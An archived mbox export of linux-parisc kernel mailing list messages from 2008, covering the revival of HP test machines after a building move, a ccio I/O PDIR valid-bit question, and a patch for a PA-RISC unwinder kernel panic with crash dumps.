List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:575
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/575>

On Tue, 2008-07-29 at 13:57 -0700, Rick Jones wrote:
> > gsyprf11 and gsyprf10 are still not responding to pings ... could the
> > IP routings have changed or something?
> 
>  > I can't connect to port 22 on any of gsyprf3, gsyprf10 or gsyprf11.
> 
> Well, the IP's have remained the same, but the systems are physically in 
> a different building.  Both netperf.org and ftp.cup.hp.com have moved 
> from the same starting point to the same end-point.  If folks cannot 
> ping them or cannot get to port 22 on those then there is still 
> something amis in the network.  Otherwise there is still something amis 
> with gsyprf[3|10|11].

gsyprf10 at least is one of the ia64 boxes.  Helpfully it identifies
itself as lp1000 or something at the login prompt.  gsyprf11 is a PA
A500 type box.  It should identify as gsyprf11 at the login prompt.  We
only need one up and running to begin diagnosing as we should be able to
then get to other remote consoles.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Cupertino test ring problem?
Date: Wed, 30 Jul 2008 23:15:24 -0600
Lines: 47
Approved: news@gmane.org
Message-ID: <20080731051524.GC18732@colo.lackof.org>
References: <1217254746.3503.61.camel@localhost.localdomain> <20080728145712.GH18026@parisc-linux.org> <488DFD62.4080307@hp.com> <20080728171500.GB16059@parisc-linux.org> <488F777E.6090405@hp.com> <1217363136.6103.68.camel@localhost.localdomain> <488F842F.3040000@hp.com> <1217369386.6103.73.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1217481349 22953 80.91.229.12 (31 Jul 2008 05:15:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Jul 2008 05:15:49 +0000 (UTC)
Cc: Rick Jones <rick.jones2@hp.com>, Matthew Wilcox <matthew@wil.cx>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 31 07:16:36 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KOQWg-0002ec-7H
	for glpp-linux-parisc@gmane.org; Thu, 31 Jul 2008 07:16:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751984AbYGaFPh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Jul 2008 01:15:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751999AbYGaFPg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 31 Jul 2008 01:15:36 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:44516 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751984AbYGaFPg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Jul 2008 01:15:36 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 875B46F803E;
	Wed, 30 Jul 2008 23:15:34 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18314-04; Wed, 30 Jul 2008 23:15:24 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0EEC46F8031; Wed, 30 Jul 2008 23:15:24 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1217369386.6103.73.camel@localhost.localdomain>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:576
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/576>

On Tue, Jul 29, 2008 at 05:09:45PM -0500, James Bottomley wrote:
> On Tue, 2008-07-29 at 13:57 -0700, Rick Jones wrote:
> > > gsyprf11 and gsyprf10 are still not responding to pings ... could the
> > > IP routings have changed or something?
> > 
> >  > I can't connect to port 22 on any of gsyprf3, gsyprf10 or gsyprf11.
> > 
> > Well, the IP's have remained the same, but the systems are physically in 
> > a different building.  Both netperf.org and ftp.cup.hp.com have moved 
> > from the same starting point to the same end-point.  If folks cannot 
> > ping them or cannot get to port 22 on those then there is still 
> > something amis in the network.  Otherwise there is still something amis 
> > with gsyprf[3|10|11].
> 
> gsyprf10 at least is one of the ia64 boxes.  Helpfully it identifies
> itself as lp1000 or something at the login prompt.

gsyprf10 is an x86 machine (HP lp1000r netserver).

> gsyprf11 is a PA A500 type box.  It should identify as gsyprf11
> at the login prompt.  We
> only need one up and running to begin diagnosing as we should be able to
> then get to other remote consoles.

I'll check with Rick tomorrow to see when I can drop by to help resurrect
them.

I expected gsyprf10 to auto reboot on it's own.
I'll change gsyprf11 and gsyprf3 to also autoboot since I don't think they
do at the moment.

cheers,
grant

> 
> James
> 
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rick Jones <rick.jones2@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Cupertino test ring problem?
Date: Thu, 31 Jul 2008 10:26:24 -0700
Lines: 57
Approved: news@gmane.org
Message-ID: <4891F5C0.8010307@hp.com>
References: <1217254746.3503.61.camel@localhost.localdomain>	<20080728145712.GH18026@parisc-linux.org> <488DFD62.4080307@hp.com>	<20080728171500.GB16059@parisc-linux.org> <488F777E.6090405@hp.com>	<1217363136.6103.68.camel@localhost.localdomain>	<488F842F.3040000@hp.com>	<1217369386.6103.73.camel@localhost.localdomain> <20080731051524.GC18732@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1217525212 2671 80.91.229.12 (31 Jul 2008 17:26:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Jul 2008 17:26:52 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Matthew Wilcox <matthew@wil.cx>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 31 19:27:40 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KObvw-0001Ki-VY
	for glpp-linux-parisc@gmane.org; Thu, 31 Jul 2008 19:27:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751940AbYGaR02 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Jul 2008 13:26:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752066AbYGaR02
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 31 Jul 2008 13:26:28 -0400
Original-Received: from g4t0014.houston.hp.com ([15.201.24.17]:2914 "EHLO
	g4t0014.houston.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751940AbYGaR01 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Jul 2008 13:26:27 -0400
Original-Received: from tardy.cup.hp.com (tardy.cup.hp.com [16.89.104.60])
	by g4t0014.houston.hp.com (Postfix) with ESMTP id 6422524237;
	Thu, 31 Jul 2008 17:26:26 +0000 (UTC)
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by tardy.cup.hp.com (8.9.3 (PHNE_28810)/8.9.3 SMKit7.02) with ESMTP id KAA02956;
	Thu, 31 Jul 2008 10:26:24 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; U; HP-UX 9000/785; en-US; rv:1.7.13) Gecko/20060601
X-Accept-Language: en-us, en
In-Reply-To: <20080731051524.GC18732@colo.lackof.org>
X-Brightmail-Tracker: AAAAAQAAAAI=
X-Whitelist: TRUE
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:577
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/577>

Grant Grundler wrote:
> On Tue, Jul 29, 2008 at 05:09:45PM -0500, James Bottomley wrote:
> 
>>On Tue, 2008-07-29 at 13:57 -0700, Rick Jones wrote:
>>
>>>>gsyprf11 and gsyprf10 are still not responding to pings ... could the
>>>>IP routings have changed or something?
>>>
>>> > I can't connect to port 22 on any of gsyprf3, gsyprf10 or gsyprf11.
>>>
>>>Well, the IP's have remained the same, but the systems are physically in 
>>>a different building.  Both netperf.org and ftp.cup.hp.com have moved 
>>>from the same starting point to the same end-point.  If folks cannot 
>>>ping them or cannot get to port 22 on those then there is still 
>>>something amis in the network.  Otherwise there is still something amis 
>>>with gsyprf[3|10|11].
>>
>>gsyprf10 at least is one of the ia64 boxes.  Helpfully it identifies
>>itself as lp1000 or something at the login prompt.
> 
> 
> gsyprf10 is an x86 machine (HP lp1000r netserver).
> 
> 
>>gsyprf11 is a PA A500 type box.  It should identify as gsyprf11
>>at the login prompt.  We
>>only need one up and running to begin diagnosing as we should be able to
>>then get to other remote consoles.
> 
> 
> I'll check with Rick tomorrow to see when I can drop by to help resurrect
> them.
> 
> I expected gsyprf10 to auto reboot on it's own.
> I'll change gsyprf11 and gsyprf3 to also autoboot since I don't think they
> do at the moment.

I can confirm that gsyperf3 was/is not set to autoboot.  I can also 
state that it cannot successfully boot.  During POST it spits-out FRU 
problem messages and during OS boot boatloads of Segmentation Fault 
output while it tries to boot, and end-up in busybox.

I'm not sure that gsyprf11 (pa) is connected to the external net.

I tried swapping the cables on gsyprf10 (the lp1000r)  I have to see if 
I can find the old monitor and keyboard to see what its boot state 
happens to be.

Grant - wrt times, I'm here all week, from about 0930 to about 0330 each 
day.  I'd be around later but this week I'm playing single-parent :)

rick jones
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ccio_mark_invalid(): would it have to clear a bit or byte?
Date: Fri, 1 Aug 2008 10:12:48 -0600
Lines: 73
Approved: news@gmane.org
Message-ID: <20080801161248.GA22961@colo.lackof.org>
References: <4884A25C.7000902@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1217607192 16392 80.91.229.12 (1 Aug 2008 16:13:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 Aug 2008 16:13:12 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 01 18:14:02 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KOxGR-0007RA-Vg
	for glpp-linux-parisc@gmane.org; Fri, 01 Aug 2008 18:14:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751796AbYHAQNB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 1 Aug 2008 12:13:01 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751791AbYHAQNA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 1 Aug 2008 12:13:00 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:40576 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751796AbYHAQNA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 1 Aug 2008 12:13:00 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 9150B4F8104;
	Fri,  1 Aug 2008 10:12:58 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22572-09; Fri, 1 Aug 2008 10:12:48 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 40AB74F80FF; Fri,  1 Aug 2008 10:12:48 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4884A25C.7000902@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:578
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/578>

On Mon, Jul 21, 2008 at 02:51:08PM +0000, Joel Soete wrote:
> Hello all,
>
> given this comment:
>  * Given a virtual address (vba, arg2) and space id, (sid, arg1),
>  * load the I/O PDIR entry pointed to by pdir_ptr (arg0). Each IO Pdir
>  * entry consists of 8 bytes as shown below (MSB == bit 0):
...
> and also this:
>         while (byte_cnt > 0) {
>                 /* clear I/O Pdir entry "valid" bit first */
>                 ((unsigned char *) pdir_ptr)[7] = 0;
>
> So if I well understand 'Valid' field of a pdir entry is well of 1 bit but 
> the code cleanup a all byte?

That's just a convenient way to clobber the bit we care about.
The fact that the rest of the pdir remains available is irrelevant
except for debugging (when we might dump IO Pdir to see the history.)

>
> Is coding something like:
> #define PTE_VALID_BIT_MASK      0xfffffffffffffffeULL	
>
> 		*pdir_ptr &= PTE_VALID_BIT_MASK;

That's a load/modify store of a 64-bit value.
That substantially more instructions than a single byte store.

> wouldn't do better what comment says it does?

Yes, but the comment is just describing what needs to happen, not exactly how.
The "entry valid" bit just needs to be cleared and it doesn't matter how.

hth
grant

>
> Well a short test seems to help but doesn't fix all issue:
>
> patst007 login: end_request: I/O error, dev sdl, sector 6659574
> __ratelimit: 32 messages suppressed 
> Buffer I/O error on device sdl9, logical block 193374 
> lost page write due to I/O error on sdl9 
> Buffer I/O error on device sdl9, logical block 193375 
> lost page write due to I/O error on sdl9 
> Buffer I/O error on device sdl9, logical block 193376 
> lost page write due to I/O error on sdl9 
> Buffer I/O error on device sdl9, logical block 193377 
> lost page write due to I/O error on sdl9 
> Buffer I/O error on device sdl9, logical block 193378 
> lost page write due to I/O error on sdl9 
> Buffer I/O error on device sdl9, logical block 193379 
> lost page write due to I/O error on sdl9 
> Buffer I/O error on device sdl9, logical block 193380 
> lost page write due to I/O error on sdl9
> Buffer I/O error on device sdl9, logical block 193381
> lost page write due to I/O error on sdl9
> Buffer I/O error on device sdl9, logical block 193382
> lost page write due to I/O error on sdl9
> Buffer I/O error on device sdl9, logical block 193383
>
> Tia for all advise,
> 	J.
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix unwind crash - was: Re: 2.6.26 kernel crash
Date: Sat, 02 Aug 2008 00:15:40 +0200
Lines: 123
Approved: news@gmane.org
Message-ID: <48938B0C.4000809@gmx.de>
References: <200807201846.11809.deller@gmx.de> <200807201907.59762.deller@gmx.de> <488F7E32.4070204@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1217628959 22575 80.91.229.12 (1 Aug 2008 22:15:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 Aug 2008 22:15:59 +0000 (UTC)
To: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 02 00:16:49 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KP2vR-0004i8-Rv
	for glpp-linux-parisc@gmane.org; Sat, 02 Aug 2008 00:16:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752326AbYHAWPo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 1 Aug 2008 18:15:44 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753319AbYHAWPo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 1 Aug 2008 18:15:44 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:38950 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752326AbYHAWPn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 1 Aug 2008 18:15:43 -0400
Original-Received: (qmail invoked by alias); 01 Aug 2008 22:15:41 -0000
Original-Received: from mnhm-590f6e4c.pool.einsundeins.de (EHLO halden.box) [89.15.110.76]
  by mail.gmx.net (mp031) with SMTP; 02 Aug 2008 00:15:41 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/M/uhDEATMth4BUSrjMd9EGb0p/+vddDyNFUHOy8
	7RcX3e/g3udUDL
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <488F7E32.4070204@gmx.de>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.47
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:579
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/579>

Hi Kyle,

I verified, that my attached patch fixes the kernel panic.
Testcase is here: http://gsyprf10.external.hp.com/~deller/crash.tgz
Could you please apply the patch?
Signed-off-by: Helge Deller <deller@gmx.de>

Thanks,
Helge

PS:
arch/parisc/kernel/unwind.c, line 225 looks kinda fishy as well:
225: info->prev_ip = *(unsigned long *)(info->prev_sp - RP_OFFSET);

PPS:
Instead of a kernel panic (which is really annoying since you need to 
reboot the machine) I now get as expected an user fault:

do_page_fault() pid=1846 command='a.out' type=6 address=0x87802043
vm_start = 0x407ff000, vm_end = 0x40802000

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  0004ff0f 407c9f6b 406fbfe3 00012b00
r04-07  fb4ec308 000125b8 407fd534 000e6ba8
r08-11  fb4ec014 00000001 0001264a 000d3b60
r12-15  00000000 000d3b5c 000db4c8 000b0000
r16-19  000d06a0 000b0000 ffffffff 23882000
r20-23  406fc15f 406fc138 87802042 00012d80
r24-27  407fd534 000125b8 407fd534 000125b8
r28-31  00000000 00000000 00012e00 406fbfe3
sr00-03  000007f6 000007f6 00000000 000007f6
sr04-07  000007f6 000007f6 000007f6 000007f6

IASQ: 000007f6 000007f6 IAOQ: 87802043 87802047
  IIR: 43ffff80    ISR: 000007f6  IOR: 407d9adc
  CPU:        0   CR30: 8dbd0000 CR31: d2b345e2
  ORIG_R28: 000107c7
  IAOQ[0]: 0x87802040
  IAOQ[1]: 0x87802044
  RP(r2): 0x406fbfe0
Backtrace:
  [<10120650>] outb+0x64/0x70




Helge Deller wrote:
> I narrowed down to the problematic codepath, and I assume the attached 
> patch might fix it. Problem is, that I can't test without my testcase 
> which is on gsyprf10 (which is unreachable right now), so this patch 
> here is currently a RFC...
> 
> Helge
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> 
> Helge Deller wrote:
>> On Sunday 20 July 2008, Helge Deller wrote:
>>> While debugging some user-space stuff I just faced this 32bit kernel 
>>> crash (2.6.26):
>>> Maybe someone has an idea?
>>
>> This is reproduceable.
>> Testcase and docu is here: 
>> http://gsyprf10.external.hp.com/~deller/crash.tgz
>>
>> Just run:
>> LD_LIBRARY_PATH=.  ./a.out
>>
>> Output is:
>> making contexts
>> swapping contexts
>> start f2
>> &on_stack=0x12d88
>> start f1(a0=1,a1=2,a2=3,a3=fffffffc)
>> <crash>
>>
>> Info:
>> - test program is from glibc:
>>         glibc-2.7/stdlib/tst-setcontext.c
>> - the compiled libc.so.6 includes some changes for *context() 
>> functions from me.
>>
>>  
>>> Kernel Fault: Code=15 regs=5f578640 (Addr=000127ec)
>>>
>>>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>>> PSW: 00000000000001001111110000001111 Not tainted
>>> r00-03  0004fc0f 10644f10 1011ee68 5f578288
>>> r04-07  00000014 8c1fe860 8c1fe828 8eb7d030
>>> r08-11  105ee890 00000040 0001264a 000d3b60
>>> r12-15  00000000 000d3b5c 000dde68 000b0000
>>> r16-19  8eb7d250 000b0000 ffffffff 000127ec
>>> r20-23  ffffe040 00000000 101205d4 00000000
>>> r24-27  00012800 101205cc 5f578288 1062ff10
>>> r28-31  00000000 000002ee 5f578640 10120630
>>> sr00-03  00000000 000013a7 00000000 000013a7
>>> sr04-07  00000000 00000000 00000000 00000000
>>>
>>> IASQ: 00000000 00000000 IAOQ: 1011ed04 1011ed08
>>>  IIR: 0e601093    ISR: 00000000  IOR: 000127ec
>>>  CPU:        0   CR30: 5f578000 CR31: ffffffff
>>>  ORIG_R28: 40400000
>>>  IAOQ[0]: unwind_frame_regs+0x214/0x244
>>>  IAOQ[1]: unwind_frame_regs+0x218/0x244
>>>  RP(r2): unwind_once+0x10/0x48
>>> Backtrace:
>>>  [<1011ee68>] unwind_once+0x10/0x48
>>>  [<10112bbc>] do_show_stack+0x28/0xac
>>>  [<10112cd0>] parisc_show_stack+0x90/0xa8
>>>  [<10111258>] do_page_fault+0x174/0x294
>>>  [<10113824>] handle_interruption+0x570/0x58c
>>>  [<10117078>] intr_check_sig+0x0/0x34
>>>
>>> Kernel panic - not syncing: Kernel Fault

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Cupertino test ring problem?
Date: Fri, 1 Aug 2008 17:31:42 -0600
Lines: 50
Approved: news@gmane.org
Message-ID: <20080801233142.GC26550@colo.lackof.org>
References: <1217254746.3503.61.camel@localhost.localdomain> <20080728145712.GH18026@parisc-linux.org> <488DFD62.4080307@hp.com> <20080728171500.GB16059@parisc-linux.org> <488F777E.6090405@hp.com> <1217363136.6103.68.camel@localhost.localdomain> <488F842F.3040000@hp.com> <1217369386.6103.73.camel@localhost.localdomain> <20080731051524.GC18732@colo.lackof.org> <4891F5C0.8010307@hp.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1217633535 1571 80.91.229.12 (1 Aug 2008 23:32:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 Aug 2008 23:32:15 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Matthew Wilcox <matthew@wil.cx>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Rick Jones <rick.jones2@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 02 01:33:04 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KP479-0007vx-Vq
	for glpp-linux-parisc@gmane.org; Sat, 02 Aug 2008 01:32:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751559AbYHAXby (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 1 Aug 2008 19:31:54 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751673AbYHAXby
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 1 Aug 2008 19:31:54 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:46441 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751559AbYHAXby (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 1 Aug 2008 19:31:54 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 5CD096F8035;
	Fri,  1 Aug 2008 17:31:53 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26549-05; Fri, 1 Aug 2008 17:31:42 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E22176F8031; Fri,  1 Aug 2008 17:31:42 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4891F5C0.8010307@hp.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:580
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/580>

On Thu, Jul 31, 2008 at 10:26:24AM -0700, Rick Jones wrote:
...
> I can confirm that gsyperf3 was/is not set to autoboot.  I can also state 
> that it cannot successfully boot.  During POST it spits-out FRU problem 
> messages and during OS boot boatloads of Segmentation Fault output while it 
> tries to boot, and end-up in busybox.

Debian kernel didn't find it's root disk...older kernel I built booted fine.
It's up and I restored the default to a kernel that boots. I can test
other debian kernels on other machines and update gsyprf3 once those
are proven to work.

Rick and I swapped gsyprf3 (1.5Ghz proto CPUs and pre-production mother
board and case) for a production unit (1.3 Ghz CPUs and 8GB of RAM).

> I'm not sure that gsyprf11 (pa) is connected to the external net.

It wasn't and the default debian kernel didn't boot either.
I've set the default kernel to jda's 2.6.22.19 patched kernel.

> I tried swapping the cables on gsyprf10 (the lp1000r)  I have to see if I 
> can find the old monitor and keyboard to see what its boot state happens to 
> be.

again, bad 2.6.24 debian kernel. Rebooting to older (2.6.21) debian
kernel worked. Updated the machine but not willing to try a newer
kernel on this box unless I'm sitting in front of it with a console.

> Grant - wrt times, I'm here all week, from about 0930 to about 0330 each 
> day.  I'd be around later but this week I'm playing single-parent :)

thanks for helping this morning.
Getting the three key systems up was critical.
I can continue to muck with the rest.


cheers,
grant

>
> rick jones
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
